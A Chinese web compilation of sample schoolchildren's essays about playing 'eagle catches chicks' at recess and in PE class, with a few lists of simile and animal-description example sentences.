大家都叫我当“老鹰”，我也喜欢当老鹰，因为当老鹰比较刺激。游戏开始了，我向右边跑去，“鸡妈妈”认为我要从右边去抓她的“小鸡”，就赶紧从右边来阻挡我。谁知道我马上停住，迅速朝左边跑。他们知道上当了，有危险了，就赶紧蹲下，这样就可以说是在窝里了，很安全了。我就问：“太阳公公起来了吗？”鸡妈妈说：“起来！”我就可以继续抓小鸡了。 　　这次我紧盯着“小鸡”，根本不把“鸡妈妈”放在眼里。“小鸡”被我的样子吓坏了，紧张得不知道怎么办才好。这时，我发现末尾的一只小鸡跑的太慢。我瞅准机会，飞快得跑上去把那只“小鸡”抓住，“小鸡”垂头丧气地离开队伍，到一旁蹲着去了。看到“小鸡”哪样子，我们笑得前仰后合。笑过后，我又继续抓“小鸡”了。因为刚“填饱肚子”，所以我这“老鹰”跑起来特别快，很快就把其余的“小鸡”抓到了。“鸡妈妈”伤心欲绝，只好回家“孵小鸡”去了。我心里那个乐呀，无法用语言来表达。 　　今天过得可真快乐！

1、我颇像沐浴在大自然的怀抱中,让柔和的晚风轻抚着鬓角,吹去一切郁闷和烦恼.. 2、风儿颇像妈妈唱着歌,唤醒了沉睡中的大地. 3、雨滴颇像一个个顽童滴在爱在雨伞上... 动物滴 1鹅的步调从容,大模大样的,颇像京剧里的净角出场 2 百灵鸟立在树梢上,唱着优美动听的曲子,令人心旷神怡,它颇像闻名的歌唱家

在日常学习、工作和生活中，大家都尝试过写作文吧，写作文是培养人们的观察力、联想力、想象力、思考力和记忆力的重要手段。那么问题来了，到底应如何写一篇优秀的作文呢？下面是我帮大家整理的老鹰捉小鸡小学四年级作文（精选15篇），仅供参考，欢迎大家阅读。 老鹰捉小鸡小学四年级作文 篇1 老鹰抓小鸡的游戏可好玩了！昨天下午上体育课时，老师首先让我们排整齐队伍，然后又说：“谁站好谁就能解放！” 接着我们站好的同学就解放了，我们全班同学都想玩老鹰捉小鸡的游戏。 同学们先选了包括我在内的三只老鹰，然后让鸡妈妈和鸡宝宝们蹲下。就问小鸡和鸡妈妈：几点了？小鸡和鸡妈妈回答：8点！我们这些老鹰就大喊一声：起床！鸡们纷纷站起来。 老鹰们就又催促小鸡穿衣、洗脸、刷牙、吃饭。可小鸡们最后一只的小鸡把我们的盘子打碎了，我们向鸡妈妈要求索赔，她只好让我们抓小鸡。 游戏开始了，老鹰们张开双翅——两只胳膊上下挥动，想要捉到小鸡，这时鸡妈妈也扑愣起了双翅，想保护小鸡不让她（他）们被老鹰抓到。鸡妈妈们则吓的乱跑尖叫。 那些离开鸡妈妈和同伴的小鸡们被淘汰了。他们只好眼睁睁地看着我们高兴地玩，心里非常后悔刚刚不应该离开鸡妈妈，可是已经来不及了！我们真为她（他）们感到惋惜！ 这节体育课在老鹰捉小鸡的游戏中快乐的过去了！ 老鹰捉小鸡小学四年级作文 篇2 耶！耶！我们的教室里传出了一片又一片的欢呼声。这是为什么呢？原来，赵老师要带我们去体育馆玩“老鹰捉小鸡”。我们开心又兴奋，迫不及待地走向体育馆。 赵老师先安排好第一组的“母鸡”是倪纳轩，“老鹰”是程涵睿，“小鸡”是朱李钰、我等等。第二组的“老鹰”是包涵，“母鸡”是陈昱翰，“小鸡”是陶晶丹等人。 游戏开始了，先说第二组吧！“母鸡”死死地盯住了“老鹰”。突然，“老鹰”一个俯冲下来，绕了一个圈，一下子又绕回去了。其中一个“小鸡”被甩出了“鸡群”，重重地跌在“鸡群”外。狡猾的“老鹰”趁这个大好的机会猛地抓住了“小鸡”。到了最后，只有“两只小鸡”坚持下来。 现在我再来说第一组。游戏就在这时拉开了序幕。我就在这时惊恐地躲避着。可我的结果是什么？就是欲速则不达。我在后面只折腾了一会儿，就被“老鹰”给捉了。我一旁静静的观看。最出乎我意料之外的是，坚持到最后的居然是朱李钰！我吃了一惊，目瞪口呆。我原来是这么想的：“朱李钰可以说是这一批里最弱小的，肯定坚持不了多久的。”但是，我完全猜错了，她是坚持到最后的！ 当赵老师高声喊：“集合！”时，我们恋恋不舍地结束了游戏，也依依不舍地离开了体育馆。但我还是很快乐，因为我度过了一个开心的体锻课。 老鹰捉小鸡小学四年级作文 篇3 星期天，我和伙伴一起去龙翔小区玩老鹰捉小鸡的游戏。规则是：推选一个伙伴当母鸡，一个朋友当老鹰。结果很完美：朱泽彤是老鹰，捣蛋鬼——陈泽文当老母鸡，男生当母鸡不合适，我们只得叫他“大公鸡”。我们拉紧了前面的衣服、裙子，最有趣的是有人拉着前方的裤子呢！“母鸡”在“老鹰”面前耍帅装酷。 一切准备就绪。“老鹰”露出凶狠的目光，“母鸡”不甘示弱。“鸡妈妈”伸出一对“翅膀”拦住“老鹰”。两个人低着头，斗鸡眼对视，两眼似乎发出一道闪电。“老鹰”趁“母鸡”不备，突然，闪电般的跑到“小鸡”高挺旁边。只差一步之遥，他一急摔在地上。后面几人纷纷倒地。我看得呆若木鸡，我的衣服不知被谁拽了一下。原来，我被捉住了。我自投罗网真不该呀！ 我心不甘，情不愿地走上来当老鹰。一只白嫩嫩、可爱的“小鸡”立刻变成了一只凶狠的“老鹰”。我灵机一动，计上心来，在心里暗暗发笑。我跑了一会儿，假装说跑累了。鸡妈妈放松警惕，我得意忘形，脚踩风火轮似的，抓到了一只正在休息的“小鸡”——郭卓凡。 他却乐呵呵地大摇大摆地当老鹰去了。他左攻右击，陈母鸡左挡右拦。郭卓凡没抓到一只“小鸡”，气急败坏，跟陈母鸡斗起舌战。老鹰说：“你这小鸡也真会斗的。”“母鸡”毫不客气地说：“哼，当然！”老鹰撅起嘴巴说：“你这陆地贫员，乖乖的投降现在还来得及，送你一条生路。”母鸡盯了他一眼，凶巴巴地说：“呸，我要生一个巨蛋砸死你。”逗得大家笑得前俯后仰。 老鹰捉小鸡小学四年级作文 篇4 上个星期的下午，我做完作业后，就和伙伴们一起玩老鹰捉小鸡的游戏。 王丽平当“老鹰”，高玲当“鸡妈妈”，其他人都是“小鸡”。 小鸡都躲在鸡妈妈的后面，拉着前面一只“小鸡”的衣服，这样可以保护自己。老鹰开始行动了，鸡妈妈张开双臂，保护自己的“孩子”。狡猾的老鹰不停地往左转，鸡妈妈也跟着往左转，转了很久了，突然，老鹰脸上出现一丝不易察觉的笑，然后飞快的向右一跳，刘佳佳不注意，打了个趔趄，老鹰一下子就把她抓起来了。 老鹰捉了半天，才捕到一只小鸡，于是他沮丧地一屁股坐在椅子上，大声吼道：“不玩了！”小鸡们看老鹰不捉他们了，就都散了。我走过去，问道：“这么快就不玩了啊？”突然老鹰一下子揪住我的衣服，嘴里还念念有词：“抓住喽，抓住喽！”鸡妈妈看情况不妙，连忙招呼小鸡们躲在他的后面。就这样，无知的我被老鹰”押”到了刘佳佳旁边，跟刘佳佳一起静静的呆在那里。 虽然我输了，但我依然很高兴。 老鹰捉小鸡小学四年级作文 篇5 我的课余生活是很丰富多彩的。每天放学回家一做完作业就拿出我最喜欢的《格林童话》看，有时也在网上打打字、查查资料。但我最喜欢和同学、伙伴们玩“老鹰捉小鸡”。 在还没有开始玩的时候我们先把“老鹰”、“鸡妈妈”选了出来，我当的是鸡妈妈。游戏开始了，我把我的“小鸡”们挡着不让“老鹰”捉去。可是，在我不注意的时候“老鹰”还是把一只“小鸡”捉走了，我伤心极了。在第二轮开始的时候，我下定决心不能再让任何“小鸡”被抓。于是我死死地守护着“小鸡”，这下“老鹰”可不知道怎么下手了，就在这时它出了一个鬼点子：把我的注意力引开。他说了一声：”看啊！那是什么东西？”我感到很奇怪就四处张望，就在这时我突然明白：一定是计！于是我赶快回头，集中精力继续守护“小鸡”。“老鹰”见这个主意没有成功，就想出了另一个鬼点子：从我的手下面去捉“小鸡”。我那时就在想：哼，我才不会上你的当呢！因为我有一个聪明的小脑袋！当他使用这一抬的时候我就跑到右边，当他再使用这一招的时候我就把手放下来，反正我不会再上他的当了。正当“老鹰”把所有的办法都快用完的时候，上课铃声敲响了，“老鹰”对我们说：我认输了。我们高兴地欢呼起来。 我们真是不想离开操场，但是如果我们不回去上课就学不到新的知识，所以我们只有依依不舍地离开操场，开始了在知识海洋里的游戏！ 玩了“老鹰捉小鸡”我明白了：不管做什么事情都要经过大脑思考，不能就这么轻意的相信别人。做游戏可以让我们快乐也可以让我们学会一些东西，真是很不错的课余生活方式！ 老鹰捉小鸡小学四年级作文 篇6 在学校里，我和同学们玩过许多游戏，但我最喜欢的游戏是“老鹰捉小鸡”，它带给我们许多乐趣和欢笑。 课间的时候，我和同学们相约又玩起了“老鹰捉小鸡”。今天这个游戏规则和以前的不一样：老鹰可以捉小鸡，小鸡和鸡妈妈也可以来包围老鹰。如果老鹰被包围了，那么老鹰就输了；但小鸡和鸡妈妈如果没有包围老鹰，反而让老鹰逮住一只小鸡，那么小鸡们就输了。 精彩的游戏开始了！我们用石头、剪刀、布来决定谁当“老鹰”。结果出来了，是一个动作灵活的小女孩儿，虽然我们不怕她，但她动作太灵活了。 游戏开始后，“老鹰”伸开手臂，快速移动，张牙舞爪的一下子抓了我们一只“小鸡”，虽然“小鸡”们在“鸡妈妈”的带领下奋力反扑，但是“老鹰”太狡猾了，我们“小鸡”队大败而归。中间休息的时候，我们商量对策，并劝同伴之间要团结协作，遇到事要勇敢果断，坚持到底，不能硬碰硬。之后我们鼓起勇气，有的“小鸡”佯装正面进攻，有的从侧面包围，最后我们把丢失的“小鸡”给揪回来了，并把“老鹰”包围了。 上课铃响了，在快乐热闹的气氛中，我们依依不舍的离开了操场。 通过“老鹰捉小鸡”这个游戏，我明白了，只有团队合作才能赢得胜利。 老鹰捉小鸡小学四年级作文 篇7 “哈哈，老鹰来了——”我张牙舞爪地向小鸡们冲去。在“老鹰捉小鸡”这场游戏中，我现在是只凶猛的老鹰，我要抓住那些调皮捣蛋的小鸡仔们。 作为一只老鹰，我可是有着眼睛尖锐，思维敏捷的天赋，母鸡动一下，我就知道她的“阴谋”。 现在，小鸡们在母鸡的双翅保护下，整齐地排成一列，随着我的眼神不断移动着。小鸡们的胆子很小，一接触我的眼光就战战兢兢的.，不停在队伍里跑动着，生怕被我捉住。游戏刚刚开始，我就来了个“下马威”，绕着鸡崽们急速绕圈跑，这是我的第一必杀技——飞旋弯转。以母鸡为原点，我追着鸡仔们转圈圈，一方面可以让自己先热热身，观察下情况，另一方面可以让小鸡们疲于奔命，消耗体力。 我的这一番动作，让小鸡们摸不到头脑。一只小鸡被绕得惊慌失措，大声呼叫：“来人呐，快点把这只老鹰拦住。”我感觉我的计谋要被识破了，就用起了我第二个必杀技——声东击西。首先，我前腿抓地，后脚180°向后一翻，反方向跑。这动作看似漫无目的，实际上我已经暗中锁定了一个目标——我们班的幽默王子余小鸡，他身材矮小，移动速度极慢。昨晚下过雨，现在地面还是湿滑，在我急速反折跑的时候，母鸡为了鸡宝宝们的安全，就向前冲，跑出我设置的危险地区，摔了个倒栽葱。失去了母鸡的保护哦！可怜的小鸡们，这下都逃不出我的手掌心了。鸡崽们顿时慌张起来，四处乱窜。哈哈，小鸡仔，我吃准你了！我前脚一蹬，从正面猛扑过去。小鸡仔吓得魂飞四散，就像爆开的烟花一样，飞向四面八方。我开始和小鸡仔们玩起追及跑，不到10秒钟，就成功抓获两只鸡仔。 老鹰满载而归，我这老鹰挺威风的。 老鹰捉小鸡小学四年级作文 篇8 “来捉我呀，来捉我呀！”哈哈，猜猜看是哪里传来的声音？告诉你们吧，我们二（8）班在玩老鹰捉小鸡的游戏呢。 陈数当老鹰，因为他跑步很快，所以当老鹰。胡思佩当母鸡，因为她的能力强，又跑得快。其余的同学就当小鸡。 游戏开始了！老鹰张开血盆大口，向小鸡们扑去，母鸡带领小鸡向旁边一闪，老鹰扑了个空。小鸡们紧跟着母鸡一会儿左躲，一会儿右闪。突然，老鹰往左边跑，马上又往右跑，母鸡来不及闪，一只可怜的小鸡就被抓走了。 我觉得，当小鸡不容易，要想不被老鹰抓住，就要飞快地奔跑，还要跟紧母鸡。游戏在我们的欢声笑语中飞快地流逝。不一会儿，就上课了。 我们玩得非常开心！ 老鹰捉小鸡小学四年级作文 篇9 今天下午第一节是体育话里有课，老师：“今天我们来做一个游戏。”我们高兴地跳了起来，我们来到操场上，老师说：“我们今天玩的游戏是《老鹰捉小鸡》。”老师叫我们排好队，然后选出“老鹰”和“小鸡”。我被选中是一只可怜的“小鸡”。游戏的规则是“老鹰”只能捉最后一只“小鸡”或离群的“小鸡”。 游戏开始了，一只凶猛的“老鹰”向“小鸡”扑来，“鸡妈妈”挺身而出挡住了“老鹰”的去路，只见“老鹰”停下了脚步在想办法，来捉住可怜的“小鸡”。“老鹰”眼珠一转，灵机一动想了一个好办法。“老鹰”一下子向左边跑，机灵的“鸡妈妈”紧跟过去，“老鹰”看“鸡妈妈”挡在了前面，一下子又向右边跑，又被聪明的“鸡妈妈”挡住了。几个回合下来，“老鹰”还是没有抓到“小鸡”，这时，“老鹰”发火了，像狮子般猛扑过去，一只“小鸡”吓得离开队伍，被“老鹰”捉住了。 这个故事告诉了我们，不管在什么情况下，都不能离开集体的队伍。 老鹰捉小鸡小学四年级作文 篇10 星期五的体育课上，教师带着我们在操场上玩游戏，游戏的名字叫老鹰捉小鸡。 教师把我们分成四组，我被分在第四组。我们一组选石磊当老鹰，卞希贤当鸡妈妈，还有的同学当小鸡。游戏开始了，只见老鹰瞪着恶狠狠的眼睛，张开有力的翅膀，伸出两只锋利的爪子，穷凶极恶地向着小鸡扑去，小鸡吓得六神无主，撒腿就跑。鸡妈妈连忙说‘小鸡们，快躲到我身之后，有我在，老鹰休想动你们一根毫毛。"说完鸡妈妈就挺起胸，张开翅膀，阻止老鹰的攻击。老鹰气得怒发冲冠，暴跳如雷，东扑一下，西扑一下，经过一番努力，最终捉到了一只又肥又嫩的小鸡，它高兴地带着它的胜利品飞走了。 啊，这个游戏真趣味！ 老鹰捉小鸡小学四年级作文 篇11 今天，老师在课堂上告诉我们这节课来玩“老鹰捉小鸡”的游戏。我们一听，高兴得一蹦三尺高，一窝蜂地跑到后操场，开始了我们有趣的游戏。 我们得先选好鸡妈妈、老鹰和小鸡。最后，我是鸡妈妈，姜嘉文是老鹰，其他的同学就是小鸡了。老鹰——姜嘉文，他早就看中了一只小鸡——张晋铭。老鹰一找好对象，就向他发起了进攻。没等 他靠近我的小鸡，我就冲过去，抓住老鹰，身子护着后面的小鸡，不让他扑过来，叫到：“快点跑呀，我抓到老鹰了!”几只淘气的小鸡在老鹰身边转来转去，丝毫没把他放在眼里。看来，老鹰也有仁 慈的时候，本来他是要抓小鸡的，可是现在变成了“母鸡捉老鹰”了。看着这情形，我们忍不住笑了出来，老鹰趁着这个大好时机，猛地一扑，一只小鸡被捉住了，他很伤心，也很无奈，新的一回游戏 开始了。在我们的欢声笑语中下课铃响了。 游戏结束了，我想：自己在游戏里做一回妈妈就这么累了，平常妈妈管我们肯定更累。我一定要照顾好妈妈，不让妈妈太操心。 老鹰捉小鸡小学四年级作文 篇12 有一天，我们玩老鹰捉小鸡的游戏。同学们在操场上高兴得手舞足蹈。 小云自告奋勇地当了“母鸡”来保护后面的小鸡，东东当起“凶恶”的老鹰。他张开了双手还真像一只饿坏了的大老鹰，我们几个就成了“小鸡”。我紧紧跟在“母鸡”后面，大家一个拉着一个的衣服。游戏开始了，狡猾的老鹰张开宽大的翅膀，连连向我们扑来，一会儿向左，一会儿向右，想乘机捉小鸡。机智勇敢的母鸡张开双翅，左躲右闪拼命保护后面的小鸡。“老鹰”忙碌了半天，一无所获，累得直喘气门。 这时，老鹰想到了一个妙计来对付这些小鸡。“它”假装休息，然后趁母鸡不备，发动突然袭 击，像箭一样飞了过去，用锐利的“爪”捉住了一只“小鸡”。“小鸡”们看见自己的兄弟被捉走了都乱了阵脚，就这样，“老鹰”一次又一次地捉住了“小鸡”。围观的同学都拍手叫好。 老鹰捉小鸡小学四年级作文 篇13 有一天，许老师带我们去操场上，玩老鹰捉小鸡的游戏。老师说：“看哪组同学最遵守纪律就请哪组小朋友玩。”结果老师先请第三组小朋友玩老鹰捉小鸡游戏。老师问：“谁来当老鹰呀？”于是俞海跃当“老鹰”，李莹当鸡妈妈。其他的小朋友当小鸡宝宝。小鸡宝宝们一个牵着一个的衣服。第一只小鸡牵着鸡妈妈的衣服。游戏开始了。老鹰急忙冲过来，鸡妈妈可忙了，左挡右挡。小鸡们跟在妈妈的后面跑来跑去。排在最后一个的小鸡最紧张，因为老鹰要捉的第一只小鸡就是它。排在最后的小鸡心里想：“我要加油，不能被老鹰捉住。”它就拼命地跟在小鸡们的后面躲来躲去。“老鹰”跑得满头大汗，结果一只小鸡也没捉住。“老鹰”累坏了，蹲下来了，小鸡们也蹲下来了，鸡妈妈也蹲下来了。鸡妈妈看见老鹰又要冲过来了，立刻站起来。小鸡们见了也立即一个个站起来，游戏又开始了。 旁边的同学们看见老鹰快捉住小鸡时，都对小鸡喊：“加油，加油！”看见老鹰一只小鸡也没捉住，他们都哈哈大笑起来。这个游戏真有趣。 老鹰捉小鸡小学四年级作文 篇14 叮叮叮……下课铃响了，同学们纷纷跑到操场上玩起了“老鹰捉小鸡”的游戏。小明当凶恶的老鹰，老师当威武的母鸡，其他人当胆小的小鸡。 游戏开始了，老鹰恶狠狠地盯着小鸡，它展开有力的双翅，伸出锋利的爪子，朝小鸡扑了过去，小鸡们紧张地左躲右闪，紧紧地跟在母鸡的身后。母鸡对老鹰说：“你休想吃我的孩子。”然后，它又转身对小鸡说：“别害怕孩子们，有我在，它休想动你们一根毫毛。”听完，老鹰眼冒金星，朝小鸡扑了过去。最后的一只小胖鸡太累了，一不小心被石头绊倒，被老鹰逮了个正着。老鹰哈哈……大笑，小胖鸡难过地说：“我投降。” 此时，上课铃响了，大家开心地回教室上课了。 老鹰捉小鸡小学四年级作文 篇15 我的课余生活丰富多彩，尤其是玩老鹰捉小鸡游戏，使我的生活充满了无穷欢乐。 星期天，我和小伙伴们在草地上玩老鹰捉小鸡游戏，小刚当老鹰，小红、小丽、我当小鸡。小月当鸡妈妈。游戏开始了，老鹰左一捕，右一捕地捉小鸡，小月像鸡妈妈一样护着小鸡们，鸡妈妈一不留神，就丢下了鸡宝宝，小刚捉到了鸡宝宝小红，该小红和小刚当老鹰了，两只老鹰捉呀捉，鸡妈妈带着鸡宝宝躲呀躲，真开心。 老鹰捉小鸡的游戏让我感受到了无穷的欢乐。

动物的造句：1、我家有一只小柳丁，全身绿色，只有翼尖的一圈有一丁点黄色，如同穿了巴西足球队的队服。仲夏时节，鸟儿们整天在树上开演唱会，欢声笑语，那气氛好不热闹。2、凑近一看，金鱼的眼睛又大又圆，都快遮住整张脸了，圆圆的眼珠子直往外冒，像是两个大灯泡。3、树间那么多萤火虫，仿佛一些小小的精灵，打着小小的灯笼，在那里开盛会似的那点点闪烁的光虫，就像一只只调皮的眼睛。4、小鸡全身毛茸茸的，很可爱。一身黄黄的。羽毛像披着一件金黄的礼服。小鸡有一双尖尖的小嘴。圆圆的眼睛看人时还蛮有精神的呢。我没看到它们的耳朵，但是小鸡不可能没有耳朵。如果没有耳朵的话，那我们走过去时，它们怎么会偏着脑袋朝我们瞧呢？5、这头大肥猪，屁股溜圆，肚子蛮大，由于脂肪过度丰富，它只得慢慢走着，仿佛架子很大的老爷。6、好一条壮牛，简直肥胖得像只象。四蹄像柱头落地，全身黑缎似的毛溜光滑，眼睛怀疑地望着人。一走路，它身上的肉就抖动——仿佛每一块筋肉都包着一股力气。

　　在日常的学习、工作、生活中，许多人都有过写作文的经历，对作文都不陌生吧，作文根据写作时限的不同可以分为限时作文和非限时作文。还是对作文一筹莫展吗？以下是我为大家收集的老鹰捉小鸡二年级作文6篇，仅供参考，希望能够帮助到大家。 老鹰捉小鸡二年级作文 篇1 　　“叮铃铃、叮铃铃”下课了。我们像一群小鸟“飞”出了教室，来到操场，我们便玩起了“老鹰捉小鸡”的游戏。 　　首先，我们进行了分工。徐浩当老鹰，我当鸡妈妈，丰淑晴、关梓诺等当鸡宝宝。 　　开始了，老鹰就像饿狼一样，猛的向我的鸡宝宝们扑过来。我也不甘示弱，张开“翅膀”，拼命地护着自己的“孩子”，由于老鹰来势凶猛，鸡宝宝们吓得紧攥着我的衣服，发出一阵阵尖叫声。狡猾的老鹰没有得逞，便后退了几步，佯装挠头，然后又来了个猛扑，怎奈我的鸡宝宝们机智、灵巧，老鹰总是扑空。于是，他便像泄气的皮球一样，坐在了地上。我们终于可以喘口气了，也一起蹲下歇息片刻。 　　忽然，老鹰的手扶着地想站起来，我立刻呼唤鸡宝宝们提高警惕，并以最快的速度站了起来。我们一边朝后退着，一边躲闪着凶猛的老鹰。任凭老鹰左击右攻，我们都一次又一次地躲过了危机，当然也没有伤到聪明的鸡宝宝一根毫毛。 　　我们大战了不知多少回合，老鹰已累得气喘如牛了。鸡宝宝们一边欢呼雀跃着，一边讽刺、挑衅着。正当我们得意忘形时，老鹰却凶狠狠的冲了过来，他的力量好像又复活了似的。他猛地来了一个“饿狼扑食”，抓走了一个鸡宝宝，其余的鸡宝宝惊恐万分，有几个竟被冲散了。之后，老鹰更是威风大振，可怜的鸡宝宝们在一阵阵挣扎声中被老鹰捉走了，结果，我的鸡宝宝们一个也没剩！ 　　这就是我们常玩的老鹰捉小鸡游戏，虽然我们输了，但我们也玩得特别痛快。它不仅锻炼了我们的身体，还锻炼了我们的判断能力和反应速度。 老鹰捉小鸡二年级作文 篇2 　　叮铃铃，下课玲响了，同学们冲出教室，来到操场。小红和小刚带领着一群同学们来到操场上，准备玩老鹰捉小鸡。在他们一番激烈的讨论后，一致先定小红当老鹰，小刚当母鸡，其他人刚当小鸡。 　　游戏开始了，老鹰小红使劲扑向小刚身后的小鸡，像一只猛虎在追赶猎物一样。小刚伸出双手，阻挡住小红，就像一只真的母鸡在拼命的保护着自己的小宝宝。身后的小鸡站成一竖排，每个人都紧紧地拉着前面人的衣角，一刻也不放松。他们跟着母鸡的身后，左躲右闪，生怕成了老鹰的盘中餐。小红使出许多诡计想让小刚中计，可是都被小刚识破了。 　　突然，小红眼眼珠子一转，计上心来。她故意生气的坐在一边低着头，好奇的小鸡们都围过去看，这时，小红跳起来，一下子抓住了两只小鸡，小鸡们立刻仓皇逃跑，原本整齐的队列一下子变得乱起来。被抓的那些小鸡则成了老鹰的盘中餐。 　　其他小鸡并不气馁，不一会，就整好队列，准备迎接老鹰的第二次攻击。 老鹰捉小鸡二年级作文 篇3 　　今天，上作文课之前，老师带我们玩了一个游戏叫“老鹰捉小鸡”。 　　老师先让我们选老鹰，张帆自告奋勇当“老鹰”我们又选刘思蕾当“鸡妈妈”。游戏开始了，老鹰开始进攻，他“飞”的很快，我一不小心松开手，被老鹰捉住了，被带回了鹰巢。手疾眼快的刘芷建躲开老鹰，把我救了出去。老鹰很凶猛，我心里很紧张，紧紧抱着前面的同学，生怕被老鹰捉到，我们玩得兴高采烈。 　　游戏结束了，我玩得十分开心。 老鹰捉小鸡二年级作文 篇4 　　星期天，我又来到了羽毛球馆练习打球，结束前的半小时是我最喜欢的"游戏时刻，教练让我们玩“老鹰捉小鸡”游戏。 　　教练让动作敏捷的杨杨当“老鹰”，让身强力壮的尧尧当“母鸡”，其他人自然都只能当“小鸡”了。大家都做好了开始的准备，我暗暗地对自己说：“我一定要跑快点，因为那只老鹰太强大了。”游戏快要开始了，“老鹰”已经在蠢蠢欲动了，他虎视眈眈地盯着“小鸡”们。“小鸡”们也开始退缩，我也不禁紧张起来。 　　突然，“老鹰”扑了过来，我们连忙左躲右闪。几个回合后，一只“小鸡”跑出了“鸡群”，“老鹰”一下子扑上去把“小鸡”捉住了。 　　我们见了，立刻商量出了一条对付“老鹰”的计策：由我和明明不断叫喊，吸引“老鹰”的注意力。“老鹰”一会儿跑到左来抓我，一会儿奔向右去抓明明，这下把他累得筋疲力尽，一屁股瘫坐在地上，只好认输了。 　　快乐的时光很快就过去了，教练宣布活动结束。望着大家离去的背影，我明白了一个道理：团结的力量是最强大的！ 老鹰捉小鸡二年级作文 篇5 　　“叮铃铃”下课了，同学们兴高采烈地来到了操场上玩起了“老鹰”捉“小鸡”的游戏。 　　“老鹰”捉“小鸡”的游戏规则是先选一个“老鹰”，再选一个“鸡妈妈”，其他的同学都是“小鸡”，他们一个抓一个人的衣服，躲在“鸡妈妈”的身后，“鸡妈妈”是保护小鸡的，当“老鹰”捉“小鸡”时，“小鸡”就蹲了下来。“老鹰”就不能捉“小鸡”了；当“老鹰”捉到小鸡时，小鸡就做俘虏，站在一旁当观众。 　　游戏开始了，“老鹰”扑过去，“鸡妈妈”张开手，左挡右拦，“小鸡们”左躲右闪。当“老鹰”快要捉到“小鸡”时，“小鸡”就立刻蹲了下来。忽然，“老鹰”想到了一个声东击西的办法，“老鹰”往左边扑去，“鸡妈妈”上当了，“鸡妈妈”就往左边挡去，“小鸡”就往右边躲，“老鹰”忽然往右边扑去，“小鸡”和“鸡妈妈”都没注意，所以，“小鸡”被捉到了两只，他们只能当俘虏了。 　　“叮铃铃”上课铃响了，同学们开开心心地上课去了。 老鹰捉小鸡二年级作文 篇6 　　今天下课，我和四个同学玩老鹰捉小鸡，我们让班长当母鸡，我们又石头剪刀布来决定谁当老鹰，结果我赢了。 　　游戏开始了，母鸡后面的三只小鸡摇来摇去的，我向前一冲，被母鸡挡住了。我并不灰心，我悄悄的跑到母鸡后面，抓到了一只小鸡。这时，母鸡对他说：“不要灰心，下次再玩，我们让你当母鸡。”他说：“我没有伤心，谢谢你。” 　　第二轮游戏开始了，母鸡一心一意的看着我，我向左冲，她向右躲。一连好几次，我都是只差一点点就能抓到了，我在心里想：要相信自己，一定会成功的。我飞快的绕着母鸡和小鸡转来转去，母鸡飞快的保护她的孩子。她往旁边一闪，我就抓了一个空。我想：她的鬼点子可真多呀！不然老师不可能让她当班长的。我跑来跑去，终于抓住了一只小鸡，班长伤心的走进教室。我成功啦！我开心的一蹦三尺高。我对小鸡们说：“别伤心了，这只是一个游戏。” 　　我多么喜欢玩这个游戏啊！